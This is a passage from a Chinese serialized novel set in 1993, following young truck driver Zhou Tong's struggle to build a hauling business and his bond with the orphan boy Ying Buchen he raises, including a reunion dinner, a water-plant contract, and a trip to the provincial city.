“马队长不是跟我说,侄女儿要订婚么,”周瞳说,“真能扯,订婚能不提前说?还不如说家里死了人。我去完那个修车厂,换了车我就去马队长家路口了,找了个小子进去找他老婆,马队长要是在,我那晚上就不去矿场了,他要是不在,那小子就接上他老婆去他姘头那里。”
周瞳嘴里嚼着东西,说,“那小子跟他老婆说,马队长出车祸了,叫她赶紧跟我走,她脸色当时就不好了,我看见她在那头的门口,我就走了。”
“那你为啥知道,”应不尘说,“马队长的媳妇就不成啦?”
“那就是你马队长的不是了,”周瞳的筷子搅和的咸菜,说,“你马队长的老婆,住在小破屋里头,他姘头,住在大房子里,搁谁,谁受得了呢?”
周瞳低着头说,“我跟菩萨一样敬他,跟阎王一样怕他,我问了那多次,我挣的钱几毛几分他都知道,我都孝敬他,他还是要把我送进去,我能怎么办?”
“哥,马队长,会生你气吗?”应不尘问。
周瞳说,“他那帮兄弟,我给他们介绍去采沙厂了,就我从前去白干的那家,他要是挤兑我,他那些兄弟的破事我也给他抖了,哪些修车厂有猫腻,他亲戚开的油厂有啥毛病,反正我就一个没合同的装卸工,我又没东西,光脚不怕穿鞋的。”
***
10. 1993[4]
马队长这事儿不光彩,面粉厂的沈老板瞧了瞧,就要把整个人马都换了。
人家都以为周瞳会去当队长,但是他连毛遂自荐都没去,也婉拒了威哥想引荐的想法。
周瞳有人选。他当然想在运输队有自己人,当不当队长算个屁。
“尘儿,晚上跟我出去吃饭,我带你认识认识几个人。”周瞳叼着根烟,还给他买了新衣服递给他,“见了你都该磕头的。”
应不尘一听周瞳要带他出去玩,尾巴毛都翘起来了。
周瞳早就有打算。
今天的饭店都是旧人。
老板娘瞧着孩子,左看右看,憋了半天,打了周瞳一下,“我都不晓得你死的活的!”
“不敢来,怕给你们惹祸,”周瞳拿了一条烟,顶好的,就往老板怀里塞,“没大哥,我这孩子都完蛋了。”
边上的婚姻介绍所已经关门不少日子了。
老板娘领着孩子去买零食。
老板跟周瞳坐在门口抽烟。
“你这小子,”老板说,“现在是混出来了?”
周瞳捏着手指,眯着眼睛说,“挣了一点儿吧。”
“挣一点儿就这么糟蹋钱啊?”老板问。
“给您做生意还不成啦?”周瞳一撞他胳膊,说,“您那恩,别说一桌,我有钱天天来摆。”
“今天来的客人重啊?”老板问。
“不重。”周瞳吸了一口烟,笑着对老板说,“过了命了。”
客人来了,
是当年周瞳第一天来的时候卖了孩子求人去救的那帮厂工。
老板热火朝天的炒起菜来,这些人,他们连姓名都不知道,今天却都像看到了阔别已久的兄弟。
“你小子,”那帮厂工在原先的单位是做皮带的,计件,有时候厂子不开工,他们就没饭吃,到处找零工。“现在真是有样子了啊。”
“诶!”周瞳让老板把钱造完,不管他做啥菜,开了瓶酒,应不尘钻了出来,周瞳说,“瞧瞧这小子,还认识不?”
满脸横肉的那个做大哥的叫风子,瞧瞧应不尘,说,“长得咋这么快呢。”
“给风哥磕一个。”周瞳说。
应不尘那时候太小,实在没记忆,但是听这话就要跪地上,被风子拉住了。“这哪能行。”
周瞳把应不尘端在桌子上,说,“这儿磕。”
应不尘一磕,周瞳就把圆盘给转起来了,一个头,磕了一圈。
“我都没想着你能找到我们,”风哥说,“我以为你带着孩子连夜跑了呢。”
“那哪能啊,”周瞳给他们倒酒,他今天穿了件西装,笔挺的,还带了条领带呢。“我记得你们的衣服上有厂子名,我一直都记得呢,我去找了三回,才找到你们,我学车子那会儿,人家缺工人,我都觉得叫我跟我弟的恩人去搬砖做装卸,委屈你们了。”
“有活儿干就成,”风子说,“我们按照你说的,都学了大车了,能开了,给那也是白干。”
边上的小眼镜笑起来,说,“当时我都饿不行了,我跟风哥说我学不了这玩意儿了,风哥跟我分半个馒头,你小子说了,只要咱能学出来,你就得找出路。我都不知道风哥咋能信你这个黄毛小子,干白活儿,干完去学车,我都饿得看沙子都像肉糜。”
“我也不晓得我咋能信他,”风子挠挠头,说,“要是在路上,我都认不出他来。”
周瞳抱着应不尘坐在腿上,老板娘也被拉进来吃饭,把门都锁了。
“我还洗碗呢!”老板娘说,“你们老爷们吃你们的。”
周瞳说,“不就几个碗,我们一人洗三个,不都洗完了,今天老板娘坐上宾。”
“我敬大家一杯,来晚了。”周瞳抱着应不尘,托着他的手,挨个碰,一饮而尽。“早该答谢的,太忙了,拖得太久了。”
“你可别说,当年我们打完架,回去都疼了一个来礼拜,”小眼镜说。“风哥自己也没钱,还给我们买药了。”
“我后背都乌青的,”小眼镜边上的瘦条子说,“我都没打过架!回去都做了好几天噩梦,梦见他们拿那铁耙打我。”
“哈哈。”瘦条子边上娘娘腔说,“我当时骑行车去那个保卫队喊人,我都摔两交,我还没打架就负伤了!”
周瞳的眼睛越听越红,吞着酒不说话。
老板今天也高兴,他这一年胖了一点儿,酒也没少喝。
“咋喝闷酒呢,”周瞳几杯下肚,有点辣嗓子了,挨在老板的边上,说,“叔,真的,您是我在这儿的第一个亲人。”
酒一喝多,各人的话就碎起来了。
应不尘得让他们挨个抱一抱才行,娘娘腔红了脸,点着应不尘的鼻子说,“人家都能叫我娘娘腔,你不行,知道不?”
“叫你腔叔呗,”瘦条的人家叫他排骨,“还以为是「强」叔呢!”
“你讨厌!”娘娘腔打了排骨一下。
应不尘抱着娘娘腔,说,“哥当年,咋让你们一块儿去救我的呀?”
应不尘听出了一些,没听明白全部。
“诶诶诶!不提了啊,孩子都记事了!”风子急急忙忙拦着。
娘娘腔摸着应不尘的脑袋说,“我们没救你命,是你哥救的,你哥不救你,你真的就完了,这辈子都完了,知道不。”
“你哥真的,那会儿难啊。”老板扭过来孩子,说,“你哥那时候,我瞧了他的眼睛都想哭。”
“说那话干啥!”老板娘说,“人家现在都是老板啦!”
“有啥不能说的,”周瞳把领带半截塞进衬衫里,说,“我就给你们跪了一脚,也没跪瓷实就让风哥拉起来了,你们就把命豁出去给我了,有啥不能说,哪个值钱我心里能没数吗?”
***
风子他们是自己经过考核进厂子的。
威哥说,“你们一捣鼓眼儿我就知道是这小子弄进来的,我们这车子你都没摸有啥毛病全知道。”
风子挠挠头,说,“瞳跟我们说了,他进厂子来就是跟着您的,我们跟他一辈分,管您叫威哥行不?”
威哥说,“拉倒吧,他一来头一个就差点没给我撅了,我老实,弄不过他,我服了,他才跟我玩。”
风子就乐了,说,“那我不知道,我以为他很老实呢。”
威哥说,“他老实?你满面粉厂问问,有没有人说他老实!”
风子给威哥敬烟,说,“他恁厉害呢?”
威哥把烟别在耳后,“哟,你可知道咱这帮人在这儿拉活,他啥也不干,就分走钱啊?”
风子说,“我就管开车,别的我不知道。”
威哥说,“你看他的干的那些地方,采石厂,采矿厂,沙场,预制场,他都晓得往哪里送,多少价格,他都替人监着呢,有点高矮动静,他就能跟老板说,从前咱装卸跑车的哪管老板价格。有些老板被高了半年还以为就这么回事呢。这些老板现在都精了,要这种聪明的,都叫他找人拉。有些不叫说的,他还能吃一头,光这几句话,他手上拉不完的活儿,都分出去做,我外头的兄弟就等他找工地干呢。”
威哥恨恨道,“都不知道那帮女的咋那么乐意跟他做生意,都跟吃了他的米一样,上回,你可知道温山预制板厂那个女老板咋跟我说吗,说她就没见过这么会哄女人的男人!那可是预制板厂,一天往外出多少预制板啊!”
“他是啥男人!我都晓得他都才十八岁!你瞧瞧,十八岁,我十八岁我媳妇给我都弄不清楚咋搞,生气了我都不晓得咋弄,”威哥说,“连我老婆都叫我跟她好好干!我多大年纪他多大年纪?”
“他连预制板厂的生意都做?”风子问。
“咋不做,”威哥说,“日子真好过啊,你看看他,又来了。”
威哥跟周瞳打了个招呼,周瞳实在太忙了,朝他们扔了两包烟就走了,威哥捅了捅风子说,“看这烟,啧啧,一包顶我一天工资,这就扔我们了,你说这小子可知道我们这些苦命人的日子多难过?”
“他知道。”风子转过来看着威哥,“他比咱苦。”
“我可看不出来,”威哥说,“你瞧瞧他那派头。”
周瞳太忙了,连汪奶奶就瞧不见他。
但是汪家的稻谷被人割好了,打谷机也打完了,晒在他家的小院子上,周瞳躺在他家的沙发上,睡得昏天暗地。
***
“今儿个我必给这生意拿下。”周瞳低着头,点了根烟。
“风子,今天这生意我揽了,就要苦了,你们估计都得没日没夜的跟我白干,他们得赊账,等通水了才能发钱。”周瞳吐了个烟圈,“你看着没,都是来琢磨这生意的。”
“那你的钱拿去租车加油,我们工资没要紧的。”风子说,“但是你觉得能拿下吗?我瞧着人家都比咱有钱。”
“我老娘那儿娘舅是我娘养的,我去借点钱应该能成。”风子说,“你揽下来,我给你干。”
里面的酒席在宴客,是自来水厂一个经理的姑娘结婚。
“这经理快退休了,这姑娘都三婚了,他想吃狠一笔呢过日子去呢。”周瞳搓着手指说,“他抓的最后一个工程,吃钱才是要紧事。”
周瞳封了个重重的红包,就往前去,给自己倒了一杯白的,就上前道,“恭喜恭喜,叶经理,我运输队的小周啊。”
“嗷嗷,小周,欢迎欢迎啊。”叶经理客套了两句就要去别的地儿敬酒了。
自来水厂要重修水管的事儿里面杂着太多事,如跟群众要钱的时候安抚群众的,如破土修管的,如挖泥出卖的,如轨道水闸的,叶经理这一把姑娘结婚,光送上来的红包都数不清。
风子当司机,坐在最后面。
“说上两句话都不肯,”风子喝了杯水,“有准儿吗?”
“那没招了,
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只得...”周瞳笑嘻嘻的翘着二郎腿道,“我一会儿骂你两句,你可别见怪。”
周瞳拎这风子找到了叶经理,说,“我这司机真是不牢靠,光长两眼珠子不知干啥使得,大喜的日子给叶经理的车子碰了,我说这得耽误多少事,这样,叶经理,你钥匙叫给我,我给您修。”
叶经理面有愠色,不在女儿的席面上闹不愉快,将钥匙给了周瞳。
周瞳拿了钥匙就往叶经理的后备箱里装东西,自己蹲在车后座。
周瞳都在车里睡着了,才等到了酒席散场后醉醺醺的叶经理。
叶经理看了看车头,又看了看车尾,没咋的,蒙着就走了,风子上前,把钥匙给了叶经理。
周瞳开了一点窗,就在叶经理车里睡。
等第二天露了大白的时候,叶经理提着个包就上了车。
“叶经理。”周瞳在身后一拍他,吓得他一激灵。
“你咋在这?”叶经理问。
这天儿晚上可是冷了。
“我想跟您讨点生意做。”周瞳谄媚地笑,说,“您忙,总是说不上话。”
“运输队那事儿是吧?”叶经理点了根烟,手搭在方向盘上,“之前说的都是给一半,通水了再给一半,但是现在这支出太大,运输队得垫资。”
“那感情好啊。”周瞳说,“我就指着垫资来的呢。给一半的话多少豺狼给我抢,我吃不上。”
“你垫不起。”叶经理眼神都没给他一个,“你没钱,没车,没人,你拿啥垫?”
叶经理哼了一声,掐了烟了,要送客。
周瞳坐在后面,说,“看来叶经理几句话给我查得挺清楚。”
“你这事儿,你兜里几个子,你拉拉杂还好,你想接这个工程,没门。”叶经理发动了车,“行了,我要上班了。”
“这样,”周瞳说,“车的事儿您不用管,人我也有,钱这东西,您开工了就得挖土,挖出去得卖,你把这活儿也交给我,我不就成了吗?”
“哼。”叶经理说,“你胃口可真大,人家运输公司都不敢想,你敢想。”
“这样,”周瞳道,“人家运输公司里面九九多,人家都想着分钱,我这儿没九九,你这土叫我卖,出单的改不良土,水库边上我去瞧了,也问了,能卖给窑厂我认识个姐姐,温山预制场的,他姐夫就是窑厂弄砖的,价格啥的我给你拿单子,挣得钱,我七成拿来跑运输,三成给您,成吗?运输队立马干就立马结算,别人可出不得我这个价格,完了到时候回填的时候,您也已经荣休了,我从建筑工地拉,上头再回土,保管把这事儿办漂亮。”
“我垫钱到这样,要是工程不过关,我啥也落不着,身家性命压这儿,叶经理,您考虑考虑?”
叶经理没吱声。
周瞳下了车,蜷了一晚上骨头都要碎了。
风子在后面的车里,也蜷了一晚上。
“成了吗?”风子问。
“我本来想说二八,妈的,”周瞳斜在副驾上,说,“想了想给他开了三七,回头还得自己填。”
“三七啊?”风子张张嘴,说,“他要吃大钱了。”
“大运输公司有大运输公司的好,有钱有车,能垫,但是人家不好的地儿就是仗着自己在这跑大车就觉得价格都能他自己定了似的,”周瞳说,“你晓得马队长,还要人家老板找上他呢。”
周瞳簌簌口,吐了,“谁叫这县城里干运输的少,吃的钱又凶,早该改改了。”
“那你觉得这事儿能成吗?”风子有点担心。
“成不成的,我都开价到这儿了,”周瞳带上个墨镜,说,“他找别人干,吃不着这么多。”
1993年的冬,周瞳在忙活别的事儿。
粮食厂有个部队来的修车老师傅,从前是修坦克的,脾气大,技术好。
但是老师傅看不上他。
周瞳让应不尘去拜门。
应不尘听话,拎着东西就往老师傅家门口站。
不开门就不走。
老师傅没招,欺负个孩子算什么本事?
周瞳也不来,就给应不尘钱,让应不尘搁饭店买点饭菜,就去老师傅家里吃。
就这么的,都快一个月,应不尘对老师傅说,“我哥不敢来。”
老师傅说,“他还有不敢的事?”
应不尘嗯了一声,说,“我是我哥捡来的,他养我,没文化没本事,总跟个泥鳅一样两边滑,他说,总有一天要被绞盘子搅死,他说了,修车是正经营生,他没办法,他说他想有手艺,想靠本事吃饭。”
老师傅没吱声。
应不尘说,“我家里人都死了,我哥家里人也都死了,他说您留我吃饭,就是个好人,好人会看的明白人想要啥。”
汪爷爷拎着菜来看奶奶,看见周瞳他们两个娃,对汪奶奶说,“这小子,可是抓得了东风,攀得了扶摇!”
11. 1993[5]
快过年了。
周瞳蹲在小桌子面前吃面疙瘩。
“自来水厂要开工了,”周瞳咬了一口饼子,说“你风子叔他们都得跟我出去没日没夜的干,从那儿一路拉过来,得过个人家自己修的收费站,可真行,修了条烂路,颠得要死,收费站盖的倒是气派。”
“哥,你晚上又不回来吗?”应不尘问。
“不回来了,晚上车少,跑得快,”周瞳有点儿心疼孩子,他天天都问这句话,“你自己个儿在家听话。”
这年的冬天,周瞳跟风子他们几个人就吃住都在车上了,风子出了点钱,加上周瞳攒的,租了几个快报废的车子就开始拉。
最开始的时候,应不尘还乖乖在家里,后来实在不成了,外面一有点动静就得起来看是不是哥回来了,人瘦了一大圈。
“咋回事儿?”周瞳揉着他脑袋。
“就是想你。”应不尘搓着手指,说,“哥,我好久不见你。”
可怜巴巴的样儿,周瞳抱起来问,“吃饭没?”
“吃不下。”应不尘扑在周瞳的怀里,“哥。”
风子看着孩子哭心里不忍,说,“这不是还小了,要不...”
“那玩意儿一出事就没了。”周瞳说,“都是山边边的路,咋带孩子?”
听到这里,应不尘更不成了,哭成了个鼻涕虫,死抓着周瞳的手,就是不让走。
周瞳没法子。
只能带着孩子跑车。
这么烂的路,应不尘倒是没晕车也没咋滴,眼睛滴溜溜帮着周瞳看路。
看见周瞳给收费站的小姑娘抛媚眼。
小姑娘有点不好意思,周瞳又扔了个啥进去。
“哥,你看人家女孩子,咋这么不正经。”应不尘说。
“我咋不正经了。”周瞳嘿地一声,说,“我那是打招呼。”
周瞳约人家姑娘吃饭,又送礼又诉苦,搞得人家姑娘心疼,调的晚班,几趟就收一趟过路费。
夜里的路不好走,有山坳的雾气,几辆大车的灯像一列火车。
应不尘探出去看,转回来说,“风子叔都瘦了。”
“能不瘦吗?”周瞳说,“我那会儿问你腔叔,这么干能不能顶得住?”
“你猜咋的?”周瞳点了根烟,把手搁外面。
“你腔叔哭了,扑你风子叔怀里,说太苦了。”周瞳眯起眼睛笑起来,“咱说你腔叔是个女人。”
“咋啦,是男人就不能说苦吗?”应不尘问,“我也觉得哥苦。”
“就这一段儿,”周瞳说,“等自来水厂的活儿干完,哥就买个二手的,完了自己有活儿就自己开,没活儿就租出去开,再买二手的,厂子里的都到了报废的年限了,那黄师傅家,没事儿你就去溜达溜达,口水给哥当本钱,行不?”周瞳说话东一榔头西一棒槌的,应不尘却都听懂了。
“你在厂里还好吧?”周瞳问。
“好,汪奶奶,威叔都跟我玩,”应不尘说,“他们把我放车头上,还领我打羽毛球。”
“一个贴心的都没有,”周瞳捂着胸口说,“我都忙这样了,你还打羽毛球。”
“哥,”应不尘过来贴在他身上,说,“哥,威叔说你瞎忙活,天天在外面喝酒生孩子,说让我问你你生了孩子我这个养孩子还要不要。”应不尘说。
大人总爱逗小孩儿,周瞳挠挠耳朵,说,“呀,这事儿,呀,还真是。”
周瞳拉过来应不尘,说,“你风子叔,你看看行吗,你跟他过?”
应不尘过完年也才9岁,顶不住,有点想哭了,扑在周瞳的怀里说,“风子叔长得吓人。”
“你风子叔要是知道你说他长得吓人,估计大腿都拍烂了,心思咋捡回来哥小白眼狼。”周瞳说。
应不尘坐在车上,看见翻斗车的泥土扬起尘烟,看见周瞳穿着旧衣服在前面散烟又发烟,不知道说了什么,他们都在一起笑。
看见几辆要报废的大车连成一排,从这儿又拉涵管回去。
腔叔叔困了,风子让他在这儿睡一会儿,他又不成了。
“像不像你?”周瞳拿胳膊肘戳了一下应不尘。
“才不像。”应不尘说,我哪有那么娇气,应不尘想。
那段时间,运输队几个人白天要去面粉厂把活儿干了,剩下的人就去水库那头拉土拉涵管,车灯一开,日夜跟他们就没关系了。
汪奶奶心疼坏了,说,“这咋能要到这个份上呢。”
能卖的土倒是叫折腾得差不多了,可是剩下的还有个把月的工期。
周瞳兜里能垫出去的都垫出去了。
风子他们几个人除了管盒饭都仨月没开工资了,连点生活费都掏不出来了。
周瞳愁得抓脑袋。
在本子上写各类的支出。
应不尘扣着手指,抱着个存钱罐过来,说,“汪奶奶跟我说,你挣钱辛苦,要勤俭简约。我就没买快餐。要攒起来,哥要是要用钱,我也能帮上忙。”
“哟,”周瞳眉头都展开了,说,“谁家宝贝儿这么懂事呢?”
“都给你。”应不尘去都给它倒出来,纸钞硬币,还不少。
“这也太多了。”周瞳说,“得亏你了,不然哥熬不过去了。”
“来,亲哥一口。”周瞳点点脸,娃娃被夸了,过来啵唧亲了一口。
周瞳出了门,还是愁得抓脑袋。
今天开完,明天的油都没着落了。
“这可咋整。”风子蹲在周瞳边上,“上哪儿弄点钱去。”
周瞳垂着脑袋,说,“我本来说叫你来我报恩,结果现在弄得我跟报仇似的。”
“那不是没招吗。”风子倒是不在乎的样儿,说,“这工程也快了,我听说东边那已经都开始用这库的自来水了。”
“我晓得。”周瞳挠挠头,抽了好几根烟了,说,“跟人家说了回填完结账,现在就差一脚呢。”
“不行我去挪点。”周瞳将烟头捻在地上。
“那不成。”风子说,“高/利/贷没完没了的,不行。”
小眼镜在远处招手,风子过去了。
再后来,周瞳最难的那一关也过了,风子说是跟他老娘拿了棺材本,但是周瞳记得,他老娘也没钱呐,估计又跟他老娘舅要钱去了。
实在
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管不上,这边的工期太急了,周瞳心里更急。
到最后两天的时候,娘娘腔被抓了。
他去当油耗子了。
周瞳抓着娘娘腔的手不叫警察抓走他。
“你们肯定弄错了,我们正规的,”周瞳抓着人不让走,“警察叔叔,您在给查一查。”
“就是他,”警察一把推开,“有啥事儿,进去了再说。”
风子拽住了周瞳,说,“别拦了。”
娘娘腔被拷上带走的时候还回头给周瞳抛了个媚眼。
风子说,“我们仨偷的油,娘娘腔说他正好累了,想进去歇歇,搞不来多少天就出来了。”
周瞳的眼睛红了,说,“我咋能弄成这样呢?”
风子拍拍周瞳的肩膀,说,“等出来了,款子也到了,慌啥。”
周瞳揉着通红的眼睛,说,“这日子咋能难成这样?”
大家依旧沉默地去拉涵管,谁也不多说一句话。
本来完工了是高兴的事。
他们都回来了,娘娘腔没回来。
应不尘问,“腔叔呢?”
“回老家了。”周瞳趴在床上。
“噢,”应不尘说,“哥,你累呀?我给你捶捶。”
周瞳茫然地躺着,说,“我这人咋净是祸害人呢。”
“是不是?”周瞳看着应不尘问。
“没呀,”应不尘说,“哥你有心事呀?”
“要是别人帮你了,结果把人连累了,该怎么办?”周瞳问。
“那就对他好!”应不尘扬着个断了手的奥特曼,不知道哪里捡来的。
“说的对。”周瞳抱着应不尘,说,“快放假了?”
“嗯,”应不尘说。“你忙,奶奶说叫我住她家去,我不愿意。我想等你。”
“等两天的吧。”周瞳说,“这两天还得忙活忙活,要过年了,面粉厂去省城的货太多了。”
“我在家等哥。”应不尘说。
周瞳又出去了两天,大晚上钻进来应不尘的被窝,冷的跟冰棍似的。
周瞳倒是大方,一股脑就把手压在应不尘的屁股下面,嘿嘿笑。
应不尘醒了。
“哥,”应不尘揉着眼睛,“你咋回来了。”
然后又窝进去,“咋这么冷呢,胸口都是硬邦邦的了。”
周瞳看着桌子上乱七八糟捡回来的破烂,问,“你咋不买玩具?我路过那学校门口,人家不都买奥特曼。”
“我可不喜欢。”应不尘说。
“啊,不喜欢啊,那我只能送给我生在外面的儿子了。”周瞳掏出来一个奥特曼,在省城买的,一直揣胸口呢。
天老爷,这对一个孩子的吸引力是致命的!他睡觉都要抱着,胸口一按,就能哔哔哔的发出声音,还有闪烁的红色的光。
应不尘抱着这个娃娃睡觉,一整就有死动静,周瞳很不满,说,“硌人呢,你放桌子上行不?”
应不尘不情不愿。
“你这么吵,我就不回来了。”周瞳闭着眼睛说。
应不尘立马就把心爱的娃娃放桌子上,钻进周瞳的被窝里。
12. 1993[6]
“你放假了是吧?”周瞳问。
“嗯。”应不尘搅着手,说,“你好忙。”
周瞳眯着眼睛看见了门后的挂历,上面只要是周瞳回来了就勾了一个对号,不回来的日子就空白着。
“跟你汪奶奶跟黄爷爷请个假,哥带你去省城玩。”周瞳闭着眼睛说,脚指头都能想到应不尘的反应。
应不尘蹦起来,说,“真的?”
应不尘就被周瞳养在这小小的钢棚房子里,外面有大车,时常在拉货,周瞳总是不许应不尘出去的,太危险了。
“那还能有假的?”周瞳太忙了,但是一直惦记着,说,“上省城溜达溜达,买点儿你喜欢的。”
周瞳笑眯眯的从兜里掏出来,用口水撵着,数了几张钞票,说,“大老爷们,身上得揣钱,出门得体面,人矮得下,钱捧得高,是菩萨也得吃香火,别说凡人了。”
应不尘半懂不懂,揣着钱看。
“哥,你发财啦?”应不尘问。
“发那么一点儿吧。”周瞳翘着脚,说,“手酸得狠呢。”
其实周瞳问好了叶经理的日子,一天三四回的去查存折。
终于是赶在过年到了。
娘娘腔也出来了,过年这段油耗子实在太多了,娘娘腔咬死了就偷了这一回,念在态度好,有人担保罚钱,也是给放出来了。
这只是自来水厂的第一笔款子,后面陆续还会有。
周瞳的心里都踏实了。
周瞳果然依言带着应不尘去省城了,去省城拉谷子。
第二天天一亮,周瞳拉着杆,夹着应不尘就把他捞上了副驾驶。
应不尘趴过来看,周瞳戴了一副时兴的墨镜,一骨碌就上来了。
他穿着白色的背心儿,抬起了眼镜,露出一双好看的眼睛,问,“哥帅不?”
他总是执着于自己很帅这件事,就像他染了黄毛回来一样。
“帅。”应不尘说。
大车打了钥匙,屁股下面就轰鸣起来,紧接着大车鸣笛了两下,就出门了。
应不尘扒在车窗户上看,说,“哥,按下来一点儿。”
“一会儿掉下去了!”周瞳说。
风呼呼地吹着应不尘的脸,这个夏天好像一点儿也不热了。
“哥,你真厉害。”应不尘说,“能开这么大的东西,还能往前走。”
周瞳单手搓着方向盘,指尖夹着一根烟,说,“找找打火机。”
应不尘站起来摘了周瞳的烟,放进自己嘴里。
“诶诶!”周瞳急了,“你小孩儿。”
应不尘猛吸了一口,将烟塞进周瞳的嘴里。
周瞳叼着烟,露出一口大白牙,说,“你可不许学这些玩意儿。”
“我知道。”应不尘抓着玻璃,看身后的面粉厂慢慢远去。
“哥,那些人都在问你乡下有没有媳妇。”应不尘端端正正地坐在副驾驶上,这正是太高了,那些路上的人都好像矮了一大截。
“干啥,想给哥找嫂子啊?”周瞳问。
“我不想,”应不尘搅着手指说,“哥还小呢。”
“哥都要十九了,”周瞳说,“还小呢?运输队那个小钱,二十岁,俩孩子了。”
“就小,”应不尘说,“汪爷爷说他三十岁才取媳妇,汪奶奶可比他小了八岁呢!”
“老牛吃嫩草,”周瞳说,“你汪爷爷老来俏,我俏不了。”
“我要告诉汪爷爷。”应不尘转过来,对着周瞳做鬼脸。
“诶!你这孩子,”周瞳说,“说闲话呢,你要是这样,我不跟你讲闲话了啊。”
“逗你玩。”应不尘说。
“你小时候的事儿,你自己还记得吗?”周瞳问。
“一点点,不太清楚。”应不尘说。
“你小时候,你手让我踩烂了,你记得不?”周瞳问。
应不尘摸摸脑袋,半清楚不清楚。
“你咋爬的那个车?”周瞳一边看他,一边看路,“我特别想知道。”
“你说你要走了。”应不尘想了一会儿,“我去你家看外面的电闸了,电闸没关,你就还在。”
“你咋这么聪明?”周瞳惊喜地问。
那会儿家家户户门口拉着线,开着电闸的时候有个红色的灯。
“我家的电闸,人家关了,说没钱没人,不让用了。”应不尘说。
“那你咋上的那个车?”周瞳又问。
“我就在那个饭店,我们村的人都这样坐车,”应不尘说,“人太多了不行。”
“那你看见我了?”周瞳问。
“我跟婶婶说,家里的东西都给她,让她骑自行车带我去饭店,就不要管我了,我自己找个家。”应不尘笑嘻嘻的说,“我等啦三天,你就来了,我老远就看见你了。”
“为啥是我啊?”周瞳问。
“不知道。”应不尘搅着手指,说,“我不知道。”
“你早跟我说,我就不想法子扔了你了。”周瞳抽了一口烟。
“我吃别人家的饭,长大了回来找你也行。”应不尘说。
“你咋这么无赖呢?”周瞳笑他。
“别人说我像你。”应不尘翘起二郎腿,搭在副驾前面,没搭住,一个出溜就滚下去了,周瞳笑得灿烂,说,“别磕着这聪明脑袋了。”
“别人说你是大无赖,说我是小无赖。”应不尘说。
“谁说咱俩无赖了?”周瞳挽了下袖子,说,“看哥收拾他。”
“不要。”应不尘认真的说,“汪爷爷跟我说了,脸皮不要紧,活下去才要紧。”
“你汪爷爷硬的跟个钢棍一样,还会说这话呢?”周瞳问。
“汪爷爷可说啦,每个人都有自己的活法。”应不尘像个小大人。
“你汪爷还教你啥了?”周瞳给他掏了点饼干扔身上。
“教我写毛笔字。”应不尘拆饼干,“别的小朋友汪爷爷不教。”
“为啥就教你啊。”周瞳问。
“汪爷说你步子大,走得急,我得慢点儿,要写字,要读书,手稳了,心也稳。”应不尘去想汪爷爷那些绕口的话,说,“反正我喜欢。”
“把你教得这么好,你应该怎么样?”周瞳问。
“送年货!”应不尘掰着指头,“汪爷爷,汪奶奶,黄师傅,运输队的叔叔都要。还有那些女工,总给我橘子跟茶叶蛋,我送她们丝巾!学校的女老师都在戴。”
“瞧瞧,瞧瞧我养的这孩子,真是有出息。”周瞳得意
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极了,搓着方向盘就上了高速公路,他给了钱,扔了两包烟过去,又掏出来一兜写着啥东西的袋子,对收费员说,“给嫂子的。”
上了车,一溜烟就走了。
上了高速,景色就开始变得单一起来。
“有多远?”应不尘问。
“三百来公里吧。”周瞳说,“你能睡一觉。”
“我不睡,我看着哥。”应不尘说。
他早上起来太早了,选了自己最体面的衣服裤子鞋子,从昨晚上开始这孩子就闹人,大半夜还在补寒假作业,周瞳都不敢告诉他,就去一天而已,今天去了,明天就回来了。
所以这话刚说完,就睡过去了,周瞳往他身上扔了件衣服,一路不知道看了多少次。
应不尘被周瞳抱下来的时候也不知道,收谷子的机器又高又吵,还有一股子粉尘味,来去一遭,哪怕是戴着口罩,睫毛上也会落下一层灰。
应不尘一睁眼就懵了,这儿他也不认识,哥去哪儿了?
搞磅秤的叔问小孩儿,“你哪儿来的?”
应不尘说,“我,我哥哥叫周瞳。”
“谁啊?”大叔问。
应不尘有点着急,说,“比你高一点,也比你瘦,比你长得帅一点,戴着一个黑色的眼镜,开大车的。”
“嘿,你这小子,”大叔开始都小孩儿,说,“你哥哥把你卖了,卖给我了,你哥说养不起你,你太能吃了。”
“不会!”应不尘说,“我要找哥!”
“你找不着,”大叔笑着就把应不尘抱起来,说,“你得跟我回家。”
应不尘在他怀里挣扎,又可怜巴巴地问,“叔,你就算是把我养大了也是白养的,因为我长大了要回去找我哥的,我的钱都要孝敬他,我就是个白眼狼,你别养我了。”
“白眼狼好啊,”大叔抱起孩子来,往谷子车间走,说,“我就喜欢小白眼狼,打几顿,咋的都老实了。”
等周瞳出来接孩子的时候,正看见:
应不尘从那位很是照顾他的大叔身上蹦下来,啪嗒就给人跪下了,作势就要磕头,哭咧咧地说,“您别买我,行吗?”
大叔抓住了小孩儿,吓得不行,说,“你这小孩儿,你哥都把你卖了,你咋还恁实诚呢?”
应不尘擦着眼泪,说,“哥给我吃饭了。”
“那我也能给你吃饭啊。”大叔说,“就他家有饭啊?”
应不尘说,“有时候也吃面条。”
周瞳上前去,拍了下大叔的肩膀,说,“叔,这小孩儿好玩不?”
大叔说,“总听你说有个孩子要挣钱,一顿酒都不在这里喝,我还以为你要回去找媳妇呢,没想到真还有个孩子啊。”
周瞳把应不尘抱起来,说,“哭啥,哥啥时候说了不要你。别听人瞎胡话,”说着,踢了大叔一脚,说,“我这娃的眼泪可金贵着呢,今天这称得给我打实了啊叔。”
大叔点着周瞳的脑门,周瞳往他兜里塞烟。
大叔走后,“多好,”周瞳说,“俩眼泪,哥能余出来五十来斤谷子。”
但是应不尘吓坏了,他眨着大眼睛,说,“哥,你要我还是要谷子?”
周瞳刮了一下他的鼻子,说,“哥就不能俩都要啊?”
13. 1993[7]
周瞳办完了事,就带着应不尘上省城玩。
周瞳干完活儿就给自己打摩丝,把头发弄得溜光水滑的,穿着个皮夹克,里头是个高领毛衣,夹着个包,可是有了老板的派头。
周瞳带应不尘去手表店,抱着应不尘让他给自己挑。
应不尘哪会挑这东西,看来看去,都差不多。
“梅花的。”周瞳倚靠在柜台上,问应不尘说,“有样子不?”
瞧他那嘚瑟样儿吧,应不尘想。
太好了,哥有钱了,他再也不会蹲在深夜的街上流眼泪了。
“这个好看。”应不尘点着说。
周瞳把手表带在应不尘的手上,“咋样,沉不沉?”
供销社的售货员说,“您这孩子,长得真漂亮。”
“还成吧,”周瞳摸摸应不尘头,问,“说啥。”
“您也很漂亮,”应不尘眼珠子轱辘转了一下,说,“您的眼睛漂亮,眉毛也漂亮。”
售货员捂着嘴巴笑,应不尘扒在柜台上,一脸真诚地问,“阿姨,你能便宜点儿吗?”
“这孩子,”周瞳拍他脑壳,说,“这是供销社,不叫还价的。”
周瞳对售货员说,“就他手上这个,多少钱呢?”
